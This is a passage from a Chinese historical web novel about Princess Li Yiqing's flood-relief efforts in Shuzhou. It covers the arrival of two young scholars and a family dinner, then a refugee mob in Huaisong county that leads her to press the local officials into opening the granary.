“公子，你打我做什么？”
他这话说的丝毫不见委屈。
元辞章神情冷然，并不是一种拒人千里之外的冰冷，还是对其他事都提不起关系的漠然。
微微思考，他轻声道：“短褂就不必了，你替我好声和脚店老板道谢。”
许三：“好吧好吧，我就猜到公子
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你不肯穿。不过公子你真的不想试试吗？好了好了，我走就是。”
许三毕竟在元辞章身边伺候多年，很多时候，元辞章的一个眼神，就能领会他想表达的意思。
就好比现在，元辞章动作幅度极轻地抬眸，神色冷淡，那么下一句必然是——“出去。”
许三才不会让元辞章有对他说“出去”的机会的。他快速出门后，拍着自己砰砰的胸膛。
自己的心跳声很快。
许三心想，公子果然不能离开於光公主身边太久，否则又会变得对什么都提不起兴趣。
*
翌日，梨花弄堂。
李意清晨起后坐在屋内，空气潮湿，室内点上了一炉檀香。
烟丝袅袅从香炉升起，李意清时不时抬头看一眼窗外的天色。
原先昏沉的天空可见远处天际一抹鱼肚白。
这是要天晴？
李意清心中猜测，却不能确信。
距离元辞章外出奔波已经过去了小半个月。这期间，开渠放田里的水，甚至从连夜从隔壁运了水车，可水车的运力毕竟有限，多少田都还泡在水里。
光是府城周边，因暴雨坍塌的房屋就有五十三处。
将受灾的六百二十一人安置妥善后，又去了周边。
她在漫无边际的想着，忽然听到了门外一声呼喊。
“师娘！你在家中吗？是我啊，汪青野！”
李意清恍惚以为自己是在幻听。
今年至和四年，殿试过后，新一轮的三甲已然出现。
状元罗玉桧，北方河间府人士，榜眼汪青野，江宁府人士，探花彦文卓，舒州府人士。
殿试结束后，汪青野看榜得知自己排名，欣喜若狂，当即写了厚厚一沓书卷，将好消息分享给元辞章。
今年的三甲入翰林院，元辞章得知消息后，去信两封，一封庆贺，一封让人安心留在京城，安稳行事。
这些李意清全程在旁观看，都是知道内情的。
眼下，汪青野应该正在翰林院编修才是，怎么会突然出现在舒州府。
李意清有些迷茫地朝毓心望去。
毓心耸了耸肩。
外面，又传来了一声更加嘹亮的喊声：“师娘！师娘！真的是我，汪青野啊！”
这一声震耳欲聋，响彻行云。
听清了。
李意清面无表情地揉了揉自己发疼的耳朵，随手拿了一个轻纱外衫披在身上，前去院子门口。
院门低矮，挡不住高大的青年身影。
李意清抽出门闩，推开院门，看着一位风尘仆仆的青年背着简易的行囊，朝着院墙里面东张西望。
不对，是两位。
走出去，李意清才发现还有一个人。
站在汪青野身边的青年看着白净文弱，看着李意清走来，立刻非礼勿视低垂眼眸，不像汪青野一般大胆，明目张胆东张西望。
汪青野看见李意清的身影，心里很是高兴，立刻凑近前，腆着一张大脸道：“师娘，一年多不见，别来无恙！”
伸手不打笑脸人，李意清不清不淡嗯了一声，然后道：“你现在不是应该在京城翰林院吗？怎么来到了舒州？还有，这位是？”
汪青野道：“舒州水患，我在京城都有所耳闻，师父在此，我自然也是要来的。这位是彦文卓，舒州府人士，新科探花。”
汪青野的声音落下，彦文卓立刻恭声道：“在下彦文卓，见过……”
149. 远道而来
彦文卓犯了难。
汪青野一口一个师娘喊的顺耳，是因为辈分在前，可是他无缘无故，怎么好意思直接开口叫一个姑娘师娘。
汪青野道：“你是舒州府出去的，于情于理，算是我师父半个门生，现在你我又是同窗同僚，不如跟在我的身后一道喊师娘。”
李意清看了他一眼。
没想到一年多过去，汪青野增长的不仅是学识，这嘴皮子功夫也增长了一截。
汪青野说完，问李意清道：“师娘，你说是吧？”
彦文卓拘谨道：“不不不，我怎么好攀这层关系……”
李意清没好气地看他一眼，转而对彦文卓道：“青野说的不无道理，你若是不介意，随他一道唤我就是。”
彦文卓的脸猛然泛起一阵飞霞。
“师……师……”
李意清笑着解围道：“若是实在喊不出口，也不必勉强。”
彦文卓连连摇头，“不勉强，真的一点都不勉强。只是我……”
汪青野伸手在他的背上猛然一拍，“没事儿，以后熟悉起来就好了。对了师娘，你知道师父的行踪吗？我想出一份力。”
彦文卓也说：“是啊，我身为舒州府人士，实在无法视若无睹。”
他家境贫寒，多亏元知州接济的二十两白银才能顺理抵达京城。中榜之后，自然有人照顾他的家人，可是他生长于此，乡邻有难，若是自己不能帮上忙，就枉读这么多年圣贤书。
李意清想了想，道：“他之前和我说要去周边，按照时日估算，大抵已经在舒州西南。你们若是不急，可以去城东的营帐那边问问，府城地势高，每日都能挪来不少避难的乡民。”
汪青野闻言，大喜道：“如此甚好！师娘，我和文卓先将东西放在院中可方便？”
李意清：“拿进来吧。”
汪青野立刻自来熟地将背上的包袱拿下来放在桌上，彦文卓落后一步，先朝着李意清施了一个文人礼，才跟在汪青野的身后进来。
将东西放好后，汪青野一撸衣袖，露出一口整齐的大白牙朝李意清笑：“那师娘，我和文卓先去城东那边问问。得知了师父消息，再回来和师娘说一声。”
李意清：“嗯。路上小心。”
汪青野拽着彦文卓，一边往外跑一边道：“师娘放心！”
彦文卓被汪青野拽着，像是快要飞起来，隐约能听到彦文卓小声的呼唤：“汪兄，汪兄，你慢些……城东走这边！”
声音渐渐消失。
李意清回头看了一眼随意放在桌上的两个包袱，伸手拿了一把油纸伞撑开，支在桌上。
桌子放在树下，叶片上尚且湿润，会时不时落下几滴水珠。
毓心看到这一幕，有些不解：“殿下，怎么不干脆拿回去？”
李意清道：“还是不随意动他人东西的好。”
虽然看着两人就不像是会在意这些细节的人。
毓心点了点头。忽然听到李意清的声音。
“毓心，帮我换一件衣裳吧。”
“殿下要出门吗？”毓心一面随她进屋一面小声道，“若是要采买东西，奴婢去就好了，指不定什么时候就会下起来。啊，方才忘记提醒两位郎君拿伞了……”
李意清：“这倒是，方才两人来得太过匆忙了些。我打算先去仁清堂看一眼。”
舒州连绵半个月的大雨，街上不见人走动，不仅是仁清堂，城内一众酒楼茶肆的声音都不景气。
换好衣服后，李意清没有让毓心作陪，自己撑着伞就去了仁清堂。
堂中，元尧臣和杜于泉正在一一核对药材。
见到李意清的身影，杜于泉率先反应过来，连忙端起一个凳子放在她的面前。
李意清微笑着道谢。
元尧臣将仁清堂的账册拿过来，摊开在李意清的面前，“嫂嫂你看，这是仁清堂这个月的收益。”
六月的账册很薄，翻过一页，就没有了。
元尧臣在旁道：“虽然一共才进账二十三两，但是已经是舒州府数一数二。”
李意清：“这个月到店不多，大多是周边药材铺药材短缺，仁清堂依靠着元家的药材线，药铺供应比其他家的药材供应顺畅。尧臣，现在还能运来多少药材？”
元尧臣道：“唔，舒州的暴雨让进城的路变得难走，现在已经很难运进来了。而且听说有的州县已经出现了难民，不知道会不会到舒州这边来。”
如果真的有难民过来，药材运输又会难上加难。
李意清抬头看了一眼元尧臣。
元尧臣没有说出口的是，难民聚集的地方，人心涣散，很有可能会变成匪患。
他有些担忧地看着李意清。
李意清沉吟了片刻，抬头对元尧臣道：“你知道现在哪边还有药材吗？”
元尧臣道：“嫂嫂是准备在舒州囤积一批药材吗？那或许可以试试从北边运来，我现在就去想办法给父亲传信，让他多派一些人手护送。”
李意清道：“好，这件事先麻烦你上心。银钱先去京城公主府支取，我稍后写一封手信。”
元尧臣笑：“嫂嫂不必这么着急。对了嫂嫂，你这次过来，是专程的说这件事吗？”
李意清点了点头：“洪水过后，总是少不了用药材的地方。对了尧臣，晚上备上一桌饭菜，你兄长的弟子汪青野、还有新科探花彦文卓都来了舒州。”
元尧臣惊呼一声：“兄长的弟子？我怎么没听说过？”
李意清道：“是前年在江宁收的，还是今年的榜眼。”
元尧臣道：“年少有为，年少有为啊！嫂嫂你放心，我一定会办好此事的。对了嫂嫂，那他们二位有没有什么喜欢的菜，我也好和厨子师傅说一声。”
喜欢的菜？李意清沉默了一会儿，才有些不确定地开口。
“黑鱼汤？”
元尧臣怔了一瞬，不敢置信：“啊？”
李意清道：“准备一碗黑鱼汤吧，你兄长的弟子格外喜欢黑鱼。”
元尧臣道：“那成，嫂嫂你放心，我一定安排周到。”
*
晚些时候，汪青野和彦文卓跟着毓心一道来到了仁清堂。
汪青野一进门便惊叹声不断。
“哇，哇，师娘，我竟然不知道你还有这样的本事。”
彦文卓跟在他的身后，目光好奇，却不敢随意四处打量。
李意清引着他们到一旁的竹管边洗手，“这可不是我的功劳，全要仰仗元辞章的堂弟。”
元尧臣站在后面听到他们提到自己，立刻蹦了出来。
“初次见面，我是元辞章的堂弟，元尧臣，你们喊我尧臣就行。”
他今天特意换了一身藏青色的长袍，上面绣着洁白干净的兰
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花，头发带着网兜，头上一顶发冠，没有一丝杂乱的碎发。
汪青野笑眯眯地和元尧臣见礼，“尧臣兄弟好，我叫汪青野。”
彦文卓也紧随其后介绍了自己。
这其中彦文卓年纪最长，但因为其常年不见阳光，白皙瘦弱，看着倒是比常年在外奔走的元尧臣年纪小一些。
三个少年人聚在一起，话题总是格外的多。李意清一会儿没见，三人已经开始聊起来。
元尧臣不爱舞文弄墨，讲述着自己跑商的经历，那些经历是汪青野和彦文卓不曾经历过的，他们听得很是起劲，时不时发出一声惊呼。
毓心走到李意清的身边，小声道：“殿下，我跟着他们一道走来，觉得他们有一点像驸马和……和当时来过府上的榜眼，我记不清名字了。”
“方屿，方浩汀。”李意清补全了她忘记的部分。
“对对对，就是他，”毓心重重地点头，“他们长得不像，言谈也不像，只是站在一块儿谈笑风生，我觉得像了。”
李意清闻言淡淡一笑。
大抵是新科上榜，春风得意马蹄疾，一样的少年意气吧。
李意清和毓心安静地站在旁边，连一旁爱抱着算盘拨弄的杜于泉也凑了过来，听得兴致勃勃。
元尧臣见众人的视线，忍不住讲的更加卖力。
半响下来，元尧臣说的口干舌燥，目光在众人身上转了转，见没人发现，只好自己比了一个“暂停”的手势。
“大伙儿听了这么久，也该累了吧，咱们去饭桌上边吃边说？”
汪青野道：“好好好，尧臣小兄弟，后来呢，你们在燕山一代遇到了郊狼，后面是怎么避开的呢？”
元尧臣第一次遇到比自己还要活跃的人，有些纳闷地看他一眼。
“后来啊……”
几人边走边说，到了饭桌上，元尧臣给自己倒了满满一杯水。
一饮而尽后，他欲言又止地看向双眼放光的汪青野，酝酿半响，小声道：“青野兄，来日方长。”
汪青野伸手挠了挠头，“也是，也是。是我心急了。”
入座后，李意清率先伸手，揭开碗盖，舀了满满一碗黑鱼汤放在了汪青野的身前。
“青野一路舟车劳顿，先喝点汤润润嗓子。”
“师娘，这怎么好意思……”汪青野有些受宠若惊，他本以为李意清会优先给元尧臣或者彦文卓盛汤，没想到第一碗竟然是自己的。
他美滋滋地端起碗，碗中的汤奶白浓郁，散发着一股熟悉的气味。
一口下去，他默默放下了手中的黑鱼汤，幽幽地看着李意清。
“师娘……”
语气带上了几分委屈。
元尧臣和彦文卓不知其中缘由，尝过鱼汤后，夸赞道：“这鱼汤味道极鲜，师傅手艺真好。”
元尧臣喝过后也点了点头：“是啊。青野兄，你不喜欢吗？”
这还是李意清点名要的呢。
话都说到这个份上了，汪青野怎么会说不喜欢，只能苦笑着摇头。
“喜欢的，我喜欢的。”
元尧臣：“……”
你那神情看着，可真不像是喜欢。
汪青野打了饭，悄摸着走到李意清的身边，刻意压低了自己的嗓音：“师娘，我错啦，你就大人不计小人过吧。”
李意清：“好说。”
150. 想
这句话是同意了？
汪青野松了一口气，忍了忍，没忍住。
“师娘，你怎么还记仇啊？”
李意清莞尔一笑，并不答话。
她捉弄了回来，心情颇好，并不在意汪青野不痛不痒的抱怨。
汪青野摸了摸鼻子。
“对了，”李意清笑过，转而问道，“你们去城东问到了元……你先生的下落了吗？”
汪青野端着饭菜坐到了李意清的对面，连连点头。
“问到了，问到了，现在在怀松县章河渡。师娘，我打算明日一早就和文卓去找先生。刚好文卓就是怀松县出来的，对路也熟悉。”
李意清“嗯”了一声。
汪青野埋头扒饭，吃了几口，忽然抬头看向李意清。
“师娘，你要不要同去？”
毓心在旁正色道：“哎哎哎，你可少出这馊主意吧！现在外面风雨莫测，你们两个大小伙子去尚且说的过去，我们姑娘怎么能去。”
汪青野咕哝道：“可是我看师娘的神色，分明就是很想去啊！”
毓心闻言愣了一瞬，有些迟钝地转头看向李意清。
殿下是怕自己担心吗？
李意清安抚地看着毓心，“先吃饭。”
毓心有些食不知味。
一餐饭吃的无精打采，等元尧臣招呼众人前去后厨帮忙，毓心才有些犹豫地望着李意清。
“殿下，你真的很想去吗？”
李意清安静地看着她，点了点头。
“枉我天天和殿下待在一处，竟然连这一点都没看出来。”毓心心情有些低落，今日才见到殿下的汪青野都能一眼看出她的心思，可自己却浑然不觉。
“我知道你担心我的安危。”李意清将她的手放在自己的掌心。
毓心怔怔地看着李意清，低头轻声道：“我知道殿下你想去看的不止是驸马。”
她想见元辞章，更想见舒州的百姓。
李意清弯了弯嘴角，脸颊浮现一个浅浅的梨涡：“我向你保证，我会平安回来。”
毓心别过头，“我知道了。不过要是和茴香说了，她肯定要闹的。”
李意清：“没事，茴香是见过大风大浪的。”
当年她和洛石二话不说离开了皇宫，只给茴香留下了一张便条。
毓心：“……”
她好像忽然想到了什么。
两人说完，正好元尧臣他们也将碗筷收拾干净。
后厨的师傅家住得低，雨天会渗水进来，征询了元尧臣和杜于泉的意思后，将妻儿接到了仁清堂的后院。
李意清见过三个小孩一面，最大的才六岁，最小才三岁，总是缩在门边，看见有人张望，就会露出一个腼腆的笑容。
后厨师傅难得见到这么多人聚在一块儿，刚体会到热闹的氛围，就看见他们一群人准备离开，心底忽然还有些不是滋味。
他们每天都嘴甜得很，直夸他做饭好吃哩。
毓心则和后厨师傅的心态完全不同，她和李意清落后一步，朝着念念不舍的后厨师傅挥了挥手，然后小声道：“殿下，咱们院子现在可真拥挤啊。”
元尧臣睡了后院厢房，汪青野和彦文卓来了，只能将就先挤一间屋子。
李意清想了想，“将木板搭好后铺上褥子，垫得厚实一些，明日离开后估计过段日子才会回来，或许届时他们就会启程回京。”
毓心点了点头：“这样也好，不过保险起见，我还是去准备两套床板。”
回到院子后，毓心简单铺了一下后院的铺子。
汪青野和彦文卓都不拘泥这些，见到还有被褥，很是惊喜。
“我们俩其实躺地上凑合一晚就行，不必这么隆重。不过还是要多谢毓心姐姐一番好意！”
汪青野大着嗓门嚷嚷。
彦文卓在后面笑容有些尴尬，他只是看着年轻，实则已经二十四，在其中算是年纪最大的一个。
跟着汪青野的身后到处喊兄弟、姐姐，还是有些不习惯。
两人道过谢，简单去井中打了水冲了澡。
见水缸里面空着，主动将两个大缸装满水。
等众人都安置妥当，李意清回到寝屋。
地面上有些潮湿，李意清放慢了脚步，回到床上躺下，一侧的被子散发着一股淡淡的霉味。
雨天时间太长太潮，找不到合适的天气晾晒。
李意清睁着眼睛，窗外的光线微弱，不见月亮的天气总是格外昏暗。
也不知道元辞章在章河渡怎么样了。
还有京城的两位皇兄，西北的冲突……
李意清呼吸平稳地胡思乱想，本以为今夜会很难眠，但是脑袋一沾上枕头，不知何时就睡了过去。
她睡得很沉，一夜无梦直到天亮。
第二天一早，外面传来的悉悉索索的脚步声。
久违的阳光从潮湿的窗棂散落，李意清眯起了眼睛，伸手挡了挡斜射进来的光线。
乍然看见晴天，还真是有些不习惯。
李意清打了一个哈欠，毓心在外面听到响动，端着热水送进了屋中。
她的脸上带着显而易见的喜悦：“殿下，今儿放晴了，等下我们将被子衣裳都拿出来晒一晒，等你们从……从那什么章回来的时候，能睡上松松软软的被子。”
李意清双手撑在床边，享受着一夜好梦后的慵懒怯意。
她闭着眼睛，任毓心把布巾放入热水中浸泡、拧干，轻柔地擦拭。
清洗完毕，毓心看着李意清安安静静的模样，出声道：“殿下，我看汪小郎君和彦郎君都已经收拾妥当了。”
言外之意，随时可以出发。
李意清立刻睁开眼睛，跳下床榻，挑了一件衣裳换上后，出了寝屋。
元尧臣正一个人端着两大屉包子出来，新鲜出炉的包子散发着诱人的香味，李意清鼻尖，已经问到了猪肉白菜的味道。
“嫂嫂，你醒啦！桌上有肉包和菜包，还掉了料汁，你看着吃一些。”
元尧臣伸手擦干了额头上被热气熏出来的汗水。
光是看一眼，就知道一次性做这么多包子有多不容易。
李意清坐下后，对元尧臣道：“辛苦了。”
“不算辛苦不算辛苦，”元尧臣摆了摆手，顿了顿，对李意清道，“锅上还煎了一些酥饼，稍后
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我拿布包起来，带给兄长尝尝。”
元辞章在外奔波，能吃到什么好的。
元尧臣一想到元辞章食不果腹，心底就有些不是滋味。
李意清看了一眼天光，提议道：“放晴了，你若是担心自己的兄长，不如随我们同去。”
元尧臣摆了摆手，“我不像你们会什么民生政要，去了能帮上大忙，还不如安安分分留在舒州，等你们归来。”
旁边的洛石和元尧臣已经很熟悉了，闻言有些诧异地看着他。
“哟，你还能说出这样的话吗？”
元尧臣没好气地瞪他一眼。
“包子都堵不住你的嘴。”
吃人嘴短，这个道理洛石还是明白的，闻言，立刻伸手在自己的嘴巴上点了点，示意自己不说话了。
他走后，元尧臣才道：“嫂嫂，那就说定了，稍后你们将酥饼一道带走……如果兄长在舒州，也会希望我留下，我去了怀松县帮不上什么忙，但是在仁清堂，好歹还能煮一碗热汤给来往人喝。”
李意清看着他，忽然笑了出来。
元尧臣摸不着头脑，跟在李意清的身后追问道：“嫂嫂，你笑什么啊？”
李意清笑着摇了摇头，“没什么。对了，既然准备酥饼，再多准备一个水囊，装些热水。”
水患过后，干净的水不可多得。
元尧臣有些懊恼地一拍脑门，“竟然忘了此事，嫂嫂等我片刻。”
他说完，转身一溜烟地消失在原地。
吃掉两个包子后，李意清已经有了饱意，她接过毓心收拾好的两件衣裳，随意拍了拍手，对汪青野和彦文卓道：“走罢。”
三人走到门口，茴香忍不住追了上去，她牵起李意清的双手，认真询问：“殿下，真的不需要我作陪吗？”
李意清轻轻摇头，“你在舒州等我，我很快回来。”
茴香乖乖说好，松开李意清的手后，忽然神色一变，龇牙咧嘴朝着汪青野和彦文卓道：“要是殿下出了什么事，你们可等着吧！”
茴香故作凶恶的威胁毫无威慑力。
汪青野：“……茴香姑娘放心，有我们在，师娘保证万无一失。”
就连一贯寡言只会点头附和的彦文卓也表示道：“姑娘放心，大丈夫有所为，此可为之。”
茴香：“……听不懂。总之你们记牢就是了。”
三人简单和院中几人作别，转身朝着怀松县方向前行。
晨光熹微，光影温柔，给地上星星点点的的水坑照得亮晶晶。
出了舒州府城，朝着西南方向远眺，远山轮廓若影若现。
隔着如梦如幻的云雾水汽，像是一幅缓缓展开的水墨画。
彦文卓对怀松县最熟悉，一路上由他带路。
汪青野和彦文卓志趣相投，一路上就着诗词歌赋到民生时政，越聊越是投缘。
李意清站在旁边，偶尔说上几句话，更多的时候，是在看浸泡在水中的田地。
她第一次直观地看见，已经结了穗的稻谷，是怎样在狂风骤雨中左摇右摆，倒塌一片。
也是第一次看见，浸泡在水里的根系，是如何发黑，一点点溃烂。
151. 善意
三个人走了将近两个时辰，才看见怀松县的影子。
怀松县外，已经搭了粥棚施粥。
衣裳褴褛的难民手中抱着豁口的碗，如视珍宝一样看着碗里薄薄的粥。
还有些人靠在墙角，企图依靠这一点遮挡物遮住吹向身体的冷风。
汪青野和彦文卓自然而然地加入了帮忙的队伍。
李意清走到粥棚底下，负责施粥的人眉眼疲惫，眼眶发红，显然是好几天没有睡过一个好觉了。
见到李意清靠近过来，他抬高了声音道：“碗不够，要是需要打粥，自己带碗过来！”
李意清愣了一瞬，立刻有饥肠辘辘的人撞开她，向前伸着一只碗朝那人摆手。
“碗，我带了碗。”
施粥的人嘴唇嗫嚅，却终究没说什么。
桶中的杂菜粥已经见底。他伸手将木桶倾斜了一些，大勺在桶底费力地剐蹭，舀出了半勺粥倒入了来人的碗中。
捧着半碗粥的人欣喜若狂，手上小心翼翼地托着碗，脚下步子跑得飞快，走到了城墙地下的一对母子身边。
靠在母亲怀中的小孩嘴唇发紫，眼眶凹陷，伸手够着母亲的头发，看起来气息微弱。
夫妻两人小心翼翼地将半碗杂菜粥喂给了小孩。小孩察觉到食物的气息，几口下去，主动抱着碗沿大口狼吞虎咽起来。
碗中的杂菜粥有限，喝了几口，就见了底。
夫妻两人舔了舔自己干涩的嘴唇。
等小孩确认自己倒不出任何东西后，失望地继续窝在母亲的怀中，嘴里嘟囔着：“娘亲，想吃肉。”
妇人抱着怀中的孩子，轻轻地拍着他的背。
一旁的父亲将碗底舔了干净。
李意清看着瘦弱的妇人，伸手摸了摸自己怀中的馅饼。
两个多时辰过去，早就已经凉了。
现在将馅饼给出去，妇人能吃饱肚子，可是这边围着这么多食不果腹的人，她怎么可能一次性救完所有人。
李意清暗自思忖，准备借皇兄的令牌下一道调令给庐州和江宁，多运些粮食。
只是眼前，夫人的神色，已经比她怀中的孩子还要虚弱苍白。
李意清深吸一口气，准备走到妇人的身边悄悄给她一张饼。
罢了，被围起来又如何。
李意清坚定地抬起脚步，正朝着妇人方向走去，忽然看见一个衣着草绿色纱裙的女孩不知道从什么地方出现，对身边盘着双丫髻的侍女脆生生道：“你快将糕饼分给他们一些。”
侍女目光迟疑，“可是小姐，这些糕饼是夫人……”
“哪有那么多可是，你没看见这位姐姐已经饿得脸颊干瘪了吗？”女孩出声打断了她，朝她伸出手，“听我的！”
侍女抱着食盒摇头。
这些糕饼是夫人亲命要送去给在外办公的大公子的，怎么能随便给人。
草绿色纱裙的女孩见侍女公然反抗自己，急得跺脚，伸手去抢食盒。
她下手没轻没重，侍女怕伤到她，挣扎了一会儿，就将食盒松了开来。
女孩拿到食盒，脸上露出一抹真心的笑容，在侍女的规劝下取出糕饼，递给了妇人。
“这位姐姐，你吃点东西吧。”
妇人愣了一瞬，才反应过来女孩是在和她说话。
丈夫看她愣神，立刻伸手，飞快地伸手接过糕饼，胡乱塞入嘴中。
女孩急得跺脚，“这不是给你……”
丈夫忽然猛地抬头，饿得发狠的目光泛着绿光。
女孩被这样的视线吓了一跳，忍不住后退了好几步。
半响后，女孩才伸手重新拿了一块糕饼放在妇人的手中。
这边的动静很快吸引了墙角边一排人的注意力。
立刻有人争抢着道：“给我一块吧，我快要饿死了。”
“给我一块吧。”
几乎是一瞬间，就有十几只手朝着女孩伸了过去，一个个目光紧紧地盯着她。
女孩被这阵仗吓到，看着一双双祈求的眼神，微微犹豫，轻声道：“你们不要抢，一个个来。”
食盒中的糕饼还剩下十几块，给这些人差不多是够的。
远处，越来越多的人骚动起来。
“那个人有吃的！”
“快去！”
……
李意清心猛地往下一沉，加快小跑的步伐。
女孩将最后一块糕饼分出去，转头一看，围在自己身边的人变得越来越多。
女孩愣愣地站在原地，低着头仿佛自己做错了事情。
“已经没有了。”
陷入疯狂的难民听不清女孩轻柔的嗓音，还一个劲儿地朝她吼叫。
更有甚者，已经将手拽向了她的裙子。
侍女惊恐地面前的这一切，大声喊道：“住手！都给我住手，这可是县尉大人的小姐！”
难民置若罔闻。
有人站在人群中煽风点火：“乡亲们，这可是县尉的女儿，若是我们绑了她拿她换粮食，县尉怎么敢不同意！”
有胆小怕事者畏缩不前：“那可是县尉，若是被县尉知道我们绑了他的女儿，能有我们好果子吃？”
前者语气笃定凶狠，他狠狠往地上吐了一口唾沫：“怕什么，咱们这么多人，他还真敢杀了我们不成？！”
法不责众。在这样思想的冲击下，原先有了退意的难民立刻重新抖擞。
坏了。
最坏的结果还是发生了。
李意清停下了自己的脚步，转头朝两边张望。
粥棚的人准备收拾收拾准备回去，他们身后站在一把拿着真刀实枪的士兵，看到这一幕，无动于衷。
她快步跑到粥棚边，指着骚乱的众人对着负责施粥的人和后面的士兵道：
“那边乱成那副模样了，你们不去管管？”
她的语气带着隐忍的怒气。
施粥的人眼观鼻鼻观心，抬眼朝李意清看了一眼，压低声音道：“多一事不如少一事，这样的事情天天发生，我们也管不过来。”
李意清道：“可是既然看到了，你们身为怀松县官府之人，又怎么能坐视不理。”
“姑娘，我看你这副打扮也不像是来这边讨生活的，怀松县苦了这么多年，天灾人祸，个个没落下，能到今天这一步，已经很不容易了。”施粥的人摇头叹息，“再者说……”
他忽然压低了声音，说了一句话。
李意清闻言，忽然一时间噤声。
施粥的人叹了一口气，拎着已经不剩什么的桶，准备离开。
李意清在袖中摩挲着袖中的公主令牌，在士兵准备离开的时候，李意清将手中的令牌拿了出来。
施粥的人顿住脚步，低头看着令牌上的文字。<
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於光。
於光，好耳熟的名字。
旁边的副手也凑了上前，看清上面的字，脸色变了几变，突然像是想出了什么一样，对身边人道：“於光公主，咱们舒州知州的夫人！”
於光公主，虽然不见其人，可是她的大名在大庆可不陌生。
那可是顺成帝的第一个女儿，出生那年大赦天下，上元佳节放灯祈愿。
传闻中，顺成帝对这个女儿的在乎，一点不逊色于太子殿下。
施粥的人在身边人的提醒下反应过来，他重新认真审视李意清，心中已经信了八分。
李意清安静地等待他的反应。
施粥的人用指腹轻轻按压着令牌上纷繁复杂的花纹，复杂地看着李意清：“於光殿下，我……下官可以相信你吗？”
李意清淡淡地回望他：“反正我就在这里，也不会离开。若是假的，一查便知。再者说，你们知州不正在怀松县吗？等此间事了，我和你们一道去分辨一番。”
她说话的期间，施粥的人一直牢牢地注视着她的视线。
“这样，你瞧可行？”
“……殿下说笑了。下官赵子轩，您叫我子轩就是。”他不着痕迹地躲闪了李意清的视线，转头对身后的士兵示意，“去，拦住。”
两人的对话并没有刻意压低声音，士兵不管心中是否情愿，可是在李意清的目光还是老老实实转身，朝闹事的地方挤过去。
一旁的彦文卓率先发现不对劲，走到李意清的身边。
他犹豫了片刻，决定跟从赵子轩的话一道喊“殿下”。
“殿下……”
他甫一开口，李意清就猜到了他会问什么。
“先去那边，我稍后和你解释。”
彦文卓愣了一瞬，才跟了上去。
低低的一声“好”散在风中。
士兵一来，原先推攘拥挤的难民立刻分散开来，畏惧地看着他们手中银光发亮的大刀。
侍女死命地伏在女孩的身上，哭着喊着，“等老爷知道了，你们都讨不了好。”
李意清为了方便，只穿了一件素色布衫，她转头看向彦文卓，“把外套脱下来。”
有难民在人群中浑水摸鱼，趁机撕扯着女孩和侍女的衣裳。
原先阳光明媚的少女衣衫的裙摆被人撕扯成条状，漂漂亮亮。她双手撑在地面，沉默不语。
难民也看到了，他们有意无意地回避着，只嚷嚷道：“放粮，放粮！”
官府不放粮，这日子是没法活下去的。
原先只是小部分人的呐喊，但是随着赶到的难民越来越多，他们的声势逐渐浩大。
赵子轩和彦文卓嘴唇抖动。
赵子轩下意识去看李意清的反应，可是只看见她清冷的背影。
原来有些人粗布麻衣也可以胜似仙人凌世。
赵子轩一瞬间的晃神，立刻收敛了神色，沉肃道：“不可。”
官府的粮食都是有定数的，现在虽然危及，但还不是可以开仓放粮的时候。
他身为官府之人，要首先保证官员和士兵能吃的上饭。
被兵戈逼得冷静的众人立刻炸开了锅，他们咒骂着，悲哭着，叹息着……
有老妪顾不得形象，直接坐在地上用手砸地，嚎啕大哭。
“天爷啊，这是要逼着我们去死啊！这可怎么活啊。”
152. 策马
李意清将彦文卓脱下的外袍盖在了女孩的身上。
女孩哭得并不明显，感觉到身上的衣衫，有些意外地抬眼。
沾着泪珠的眼睫毛微微颤抖，她失焦的眼神落在李意清的身上，似乎意识到了是这个人盖的衣裳，声音低微道：“谢谢。”
李意清微微摇头，转头看向拉扯的两拨人。
赵子轩的脸色越来越难看。
彦文卓望着赵子轩的背影欲言又止。
“谁再上前一步，刀剑无眼。”站在赵子轩身后的侍卫长猛地拔出大刀，铮铮刀光冰寒迫人。
沸腾的难民忽然安静了下来，畏惧地看着刀。
哭喊的老妪低声哀恸，赵子轩的眼底飞快地闪过一抹不忍。
粮仓不能开。
现在西北纷扰不断，东南灾情严重，若是现在就开仓放粮，日后的日子怎么样，都是没有底的。
赵子轩知道自己的想法很残忍，可是难民的性命，确实比不过朝廷命官的性命。
有一个饿了不知道多久的小孩穿着破破烂烂的衣裳，伸手去够李意清的衣摆。
他的眼睛蓄着满满一汪水，湿漉漉的。
李意清默了一刻，转头压低声音问赵子轩。
“若是我能在十日内填满粮仓，今日能否开仓放粮？”
赵子轩愣了一瞬。
十日，现在江南四处缺粮，能到哪里筹集。
李意清抿了抿唇，不少富户都会在家中囤积粮食，只是如何说服富户出掉手中多余的粮食，以及如何顺利运到府城，是一个需要考虑的难点。
赵子轩没有立刻说话，酝酿了半响，轻声道：
“此事，还需要向上面……”
话说到一半，他忽然自己停顿了下来。
怀松县的县令下马，新任县令委派还没有下来，此时此刻，怀松县能做主的自然是舒州府的知州，元辞章。
元知州怎么可能不同意李意清的做法。
赵子轩望着人群，道：“如果殿下真的能在十日内补上粮食，自然可以放粮度灾。”
李意清转头看向跟在自己身后的汪青野和彦文卓。
“青野，你拿着我的令牌去一趟广德军驻地，调兵两千，然后再去江宁府叩拜元相，请他帮忙出手，收集粮食。”
元相在朝堂纵横多年，从富户手中要到粮食，对他而言不是难事。
只是从江宁到舒州的这一段路，务必要慎之又慎。
汪青野此刻心中满心满眼都是眼前事，将要找先生一事忘在了脑后。
听到李意清的吩咐，二话不说立刻接过令牌，朝着李意清点头。
“师娘放心。”
汪青野任务在身，当即离开了怀松县。
彦文卓站在一旁听得热血沸腾，见汪青野有事可做，眼底流露出一丝不易察觉的艳羡。
他犹豫了片刻，低声询问道：“殿下，可有什么事情某可帮得上忙？”
李意清道：“当然有。你对怀松县熟悉，舒州府也不陌生，现在我想请你将城中富户的名单一一写下来……”
彦文卓握紧了拳头，“好。”
“此法甚好，彦郎君，既然殿下信你，我这就给你五十人，若是有人不从，直接……”
在旁旁听的赵子轩也连连点头，原先官府畏惧这些“地头蛇”不敢大张旗鼓，现在有於光殿下作为背书，自然可以带上兵队。
他说的慷慨激昂，彦文卓却不曾见过这样的场面，立刻连连摆手。
“使不得使不得。”
李意清也道：“商榷为上，如若不从……”
赵子轩摸了摸鼻子，接道：“略通武艺。”
彦文卓：“……”
他真的只是一个读书人啊。
李意清补充道：“或谈日后还粮，或谈药材、医者治病、金银玉石，等等皆可，若是拿不准，整理成册，送往怀松问我。”
彦文卓默念一遍，点头示意自己已经记住。
赵子轩闻言，也不禁有些心动。
他的妻子在生产时落了病根，逢雨逢寒身子就不爽利，怀松地偏，难求名医。
